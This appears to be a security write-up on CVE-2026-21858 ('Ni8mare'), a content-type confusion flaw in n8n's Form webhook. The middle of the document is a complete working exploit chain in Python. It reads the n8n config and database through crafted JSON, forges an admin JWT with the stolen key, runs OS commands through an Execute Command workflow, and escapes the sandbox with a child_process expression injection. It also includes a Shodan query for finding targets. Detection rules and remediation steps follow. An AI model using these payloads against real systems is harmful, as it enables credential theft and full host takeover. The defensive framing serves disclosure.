Overview

CVE-2026-21858, dubbed Ni8mare, is a critical unauthenticated Remote Code Execution vulnerability in n8n — the popular open-source workflow automation platform. Discovered by security researcher Dor Attias at Cyera Research Labs and reported on November 9, 2025, it was silently patched on November 18, 2025 in version 1.121.0 before the public advisory dropped on January 7, 2026. It carries a CVSS score of 10.0 — the maximum possible.

The root cause is deceptively simple: a Content-Type confusion flaw in how n8n processes incoming webhook requests. That one misplaced assumption collapses multiple security boundaries at once, allowing an unauthenticated attacker to read arbitrary files, extract encryption keys, forge an admin session, and ultimately execute commands on the host. By itself or chained with CVE-2025-68613 (authenticated expression injection), the result is a clean, reliable path to full instance takeover.

Why This Matters

n8n isn’t just another web app. It’s the automation backbone of modern infrastructure, connecting internal APIs, databases, cloud services, and third-party integrations, often with stored credentials and elevated execution privileges. With over 100 million Docker pulls and an estimated 100,000+ self-hosted deployments internet-facing at disclosure, the blast radius here is enormous.

Compromising an n8n instance doesn’t just give you a shell on one box. It hands you:

  • Every stored credential and API token used by the platform’s integrations
  • The ability to trigger or modify workflows across the entire connected environment
  • A trusted internal pivot point into services that only permit n8n as a caller

This makes n8n a uniquely high-value target — and Ni8mare a uniquely severe vulnerability.

Affected Versions

Package Vulnerable Versions Patched Version
n8n ≤ 1.65.0 (core flaw) 1.121.0+
n8n (chain w/ CVE-2025-68613) ≥ 0.211.0, < 1.120.4 1.120.4, 1.121.1, 1.122.0

At time of disclosure, Censys observed over 26,500 exposed hosts running vulnerable versions.

Background — How n8n Webhooks Work

To understand the vulnerability, we need to understand how n8n handles incoming webhook requests.

In n8n, every workflow that accepts external input starts with a Webhook node. These nodes act as HTTP listeners for incoming data — forms, chat messages, file uploads, API calls. Regardless of which type of webhook is in play, every incoming request passes through the same shared middleware function: parseRequestBody().

This middleware inspects the Content-Type header and routes parsing accordingly:

  • multipart/form-data → delegates to parseFormData() (the file upload parser), which wraps Formidable’s parse() function and stores file metadata in req.body.files
  • Everything else → falls back to parseBody() (the regular body parser), which decodes the body and stores the result in req.body

The critical distinction: req.body.files is only populated by the file upload parser. It’s only supposed to contain data when the request is genuinely a multipart upload, with Formidable handling the file security (including writing uploads to a random temp path to prevent path traversal).

Incoming request
      │
      ▼
parseRequestBody()
      │
      ├─ Content-Type: multipart/form-data?
      │       YES → parseFormData() → populates req.body.files
      │       NO  → parseBody()     → populates req.body
      │
      ▼
Webhook logic function (depends on node type)

This is the setup. Now here’s where it breaks.

Root Cause — The Content-Type Confusion

The vulnerability lives in the Form Webhook node — specifically the formWebhook() function, which handles form submissions including file uploads. Inside this function, a file-handling routine called copyBinaryFile() is invoked to act on req.body.files.

The problem: copyBinaryFile() is called without first verifying that the Content-Type was actually multipart/form-data.

This is unlike other webhook handlers in n8n — ChatTrigger, for example, performs an explicit content-type check before touching req.body.files. The Form webhook skips that check entirely.

// BEFORE (vulnerable) — no content-type verification
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...);

// AFTER (patched) — explicit assertion added
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Because req.body.files is only populated by Formidable when the request is genuinely multipart, sending a non-multipart request (e.g. Content-Type: application/json) means req.body.files isn’t set by the file upload parser. Instead, req.body is set by the regular body parser — which the attacker fully controls.

Since copyBinaryFile() fetches its filepath parameter directly from req.body.files, and we control req.body.files entirely (because we control req.body when sending application/json), we control the filepath.

Instead of copying an uploaded file from a random temp path, the function will copy any local file we specify — and pass its contents into the workflow for downstream nodes to process.

Arbitrary file read, unauthenticated.

Full Exploit Chain

Ni8mare by itself gives you arbitrary file read. But paired with the right target files, it quickly escalates.

Step 1 — Arbitrary File Read
Send application/json to a public Form webhook
Control req.body.files.filepath → read any local file

Step 2 — Extract Encryption Key
Read /home/node/.n8n/config or equivalent
n8n stores its encryption key in plaintext here

Step 3 — Extract the SQLite Database
Read ~/.n8n/database.sqlite
Contains hashed passwords and user records

Step 4 — Forge an Admin Session Token
Use the extracted encryption key to sign a valid
JWT for the admin account — no password needed

Step 5 — Authenticate as Admin
Use the forged token against the n8n REST API
Confirm access: GET /rest/me returns admin profile

Step 6 — RCE via Execute Command Node
Create a workflow using the built-in Execute Command node
n8n has no authentication on workflow execution for admins
Arbitrary OS command execution on the host

The chain is elegant. Each step uses legitimate n8n functionality — no memory corruption, no shellcode. Just logic flaws stacked on top of each other.

PoC Walkthrough

Lab setup only. Run this against a controlled environment you own or have explicit written authorisation to test.

Prerequisites

  • Python 3.x with requests and pyjwt installed
  • A public-facing n8n Form webhook endpoint on a vulnerable instance
  • n8n running with a default configuration (Docker or bare metal)

Step 1 — Identify a Vulnerable Form Endpoint

Form webhook URLs in n8n follow a predictable pattern:

http://<target>:5678/form/<workflow-path>

Shodan can surface exposed instances:

shodan search 'n8n' --fields ip_str,port,org

Any publicly accessible Form node without authentication is a valid entry point. It does not need to be a file upload form — any form will do.

Step 2 — Read the Encryption Key

Send a crafted POST with Content-Type: application/json, injecting a filepath into the files object to make copyBinaryFile() read the n8n config:

import requests

TARGET = "http://10.10.10.1:5678"
FORM_PATH = "/form/your-form-endpoint"

# Craft the malicious body — control req.body.files
payload = {
    "files": {
        "data": {
            "filepath": "/home/node/.n8n/config",
            "mimetype": "text/plain"
        }
    }
}

headers = {
    "Content-Type": "application/json"
}

print("[*] Sending file read payload...")
r = requests.post(
    f"{TARGET}{FORM_PATH}",
    json=payload,
    headers=headers
)

# The file contents are returned in the workflow response
# depending on how the workflow is configured downstream
print(r.status_code)
print(r.text[:500])

The n8n config file contains the encryptionKey in plaintext — the master key used to sign session tokens and protect stored credentials.

Step 3 — Read the Database

With the same technique, pull the SQLite database:

payload["files"]["data"]["filepath"] = "/home/node/.n8n/database.sqlite"

r = requests.post(
    f"{TARGET}{FORM_PATH}",
    json=payload,
    headers=headers
)

with open("n8n.sqlite", "wb") as f:
    f.write(r.content)

print("[+] Database saved to n8n.sqlite")

Open it locally to enumerate users:

sqlite3 n8n.sqlite "SELECT email, password FROM user;"

Step 4 — Forge an Admin JWT

With the encryption key and a valid admin email in hand, forge a session token:

import jwt
import datetime

ENCRYPTION_KEY = "yusrXZV1..."  # extracted from config
ADMIN_EMAIL = "admin@target.local"

# n8n uses HS256 signed JWTs for session management
token = jwt.encode(
    {
        "id": "1",
        "email": ADMIN_EMAIL,
        "iat": int(datetime.datetime.utcnow().timestamp()),
        "exp": int((datetime.datetime.utcnow() + datetime.timedelta(hours=24)).timestamp())
    },
    ENCRYPTION_KEY,
    algorithm="HS256"
)

print(f"[+] Forged token: {token}")

Step 5 — Confirm Admin Access

headers = {
    "Cookie": f"n8n-auth={token}",
    "Content-Type": "application/json"
}

r = requests.get(f"{TARGET}/rest/me", headers=headers)
print(r.json())
# {"id":"1","email":"admin@target.local","role":"global:owner",...}

If you see a valid admin response — you’re in.

Step 6 — RCE via Execute Command Node

As an authenticated admin, create and execute a workflow using n8n’s built-in Execute Command node:

# Create the malicious workflow
workflow = {
    "name": "ni8mare-poc",
    "active": False,
    "nodes": [
        {
            "name": "Start",
            "type": "n8n-nodes-base.start",
            "position": [250, 300],
            "parameters": {}
        },
        {
            "name": "RCE",
            "type": "n8n-nodes-base.executeCommand",
            "position": [450, 300],
            "parameters": {
                "command": "id && hostname && cat /etc/passwd"
            }
        }
    ],
    "connections": {
        "Start": {
            "main": [[{"node": "RCE", "type": "main", "index": 0}]]
        }
    }
}

r = requests.post(
    f"{TARGET}/rest/workflows",
    json=workflow,
    headers=headers
)

workflow_id = r.json()["id"]
print(f"[+] Workflow created: {workflow_id}")

# Execute it
r = requests.post(
    f"{TARGET}/rest/workflows/{workflow_id}/execute",
    headers=headers
)

print(r.json())

The response contains the output of your command — running as whatever user the n8n process is under (often root in Docker deployments).

Step 7 — Chaining CVE-2025-68613 for Sandboxless RCE

For n8n versions between 0.211.0 and 1.120.4, the expression injection CVE (CVE-2025-68613) can be used as an alternative RCE path after auth is obtained — no Execute Command node required. The expression engine’s sandbox isolation is insufficient, allowing process.mainModule.require() to escape:

# Craft a malicious Set node with injected expression
workflow["nodes"][1] = {
    "name": "ExpressionRCE",
    "type": "n8n-nodes-base.set",
    "position": [450, 300],
    "parameters": {
        "values": {
            "string": [{
                "name": "output",
                "value": "={{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}"
            }]
        }
    }
}

The result: OS command execution via expression evaluation, bypassing the Execute Command node entirely.

Detection

Defenders should look for the following indicators across proxy logs and host monitoring:

# Anomalous POST requests to /form/* endpoints with application/json Content-Type
# Normal form submissions use multipart/form-data — json to a form endpoint is suspicious
grep 'POST /form/' access.log | grep 'application/json'

# Unexpected file access by n8n process — watch for reads of config/db files
# Auditd rule: watch n8n data directory for reads
auditctl -w /home/node/.n8n/ -p r -k n8n_file_read

# Suspicious process tree: n8n spawning shell commands
# Sysmon Event ID 1 or auditd process creation
node -> sh -> id
node -> sh -> whoami
node -> sh -> curl <external_ip>
node -> sh -> bash -i

# Unexpected JWT tokens with admin privileges appearing in authentication logs
# after no corresponding login event

A WAF rule blocking application/json requests to /form/* endpoints is a reasonable quick mitigation if patching isn’t immediately possible.

Remediation

Upgrade immediately. There are no official workarounds that fully mitigate this without patching.

# Docker (most common deployment)
docker pull n8nio/n8n:latest
docker stop n8n && docker rm n8n
docker run -d --name n8n -p 5678:5678 \
  -v n8n_data:/home/node/.n8n \
  n8nio/n8n:latest

# npm
npm update -g n8n

# Verify patched version
n8n --version
# Should be >= 1.121.0

If you were running a vulnerable version that was internet-exposed, treat all stored credentials as compromised — rotate API keys, OAuth tokens, and any secrets stored in n8n integrations.

Additional hardening steps regardless of version:

  • Never expose n8n directly to the internet — put it behind a VPN or restrict by IP
  • Enforce authentication on all Form and Webhook nodes — don’t leave public endpoints without it
  • Run n8n as a non-root user, even in Docker
  • Restrict Execute Command node availability to trusted users only in multi-user deployments
  • Monitor outbound connections from the n8n host for anomalous destinations

The CVE Cluster

Ni8mare wasn’t disclosed in isolation. January 2026 saw a wave of n8n advisories, all touching the same theme of insufficient isolation between user input and execution:

CVE Severity Type Fixed In
CVE-2026-21858 Critical (10.0) Unauthenticated file read → RCE 1.121.0
CVE-2025-68613 Critical (9.9) Authenticated expression injection RCE 1.120.4
CVE-2025-68668 High Authenticated command execution (Pyodide Python node) 1.x
CVE-2026-21877 Critical (10.0) Authenticated arbitrary file write → RCE 1.x

The pattern is clear: n8n’s architecture gives users powerful primitives that sit dangerously close to OS-level capabilities. When the boundaries between configuration, expression evaluation, and execution aren’t strictly enforced, the attack surface compounds fast.

Takeaways

Ni8mare is a textbook example of how a single missing content-type check can cascade into complete infrastructure compromise. The individual components aren’t exotic — it’s a logic flaw, some file reads, a forged JWT, and legitimate platform features repurposed as an attack chain. But the consequences are severe precisely because of what n8n is: a trusted, credentialed automation hub wired into everything.

A few lessons worth keeping:

  • Automation platforms are critical infrastructure. They hold credentials, execute code, and bridge internal services. They deserve the same hardening attention as your most sensitive servers.
  • Shared execution paths need strict type enforcement. The fix here was a single assertion — a.ok(req.contentType === 'multipart/form-data'). One check that should have always been there.
  • unauthenticated endpoints are always high-risk surface. Any publicly accessible form or webhook is a potential entry point. If it doesn’t need to be public, lock it down.
  • CVSS 10.0 for a logic bug. No memory corruption required. Elegant, reliable, devastating.

References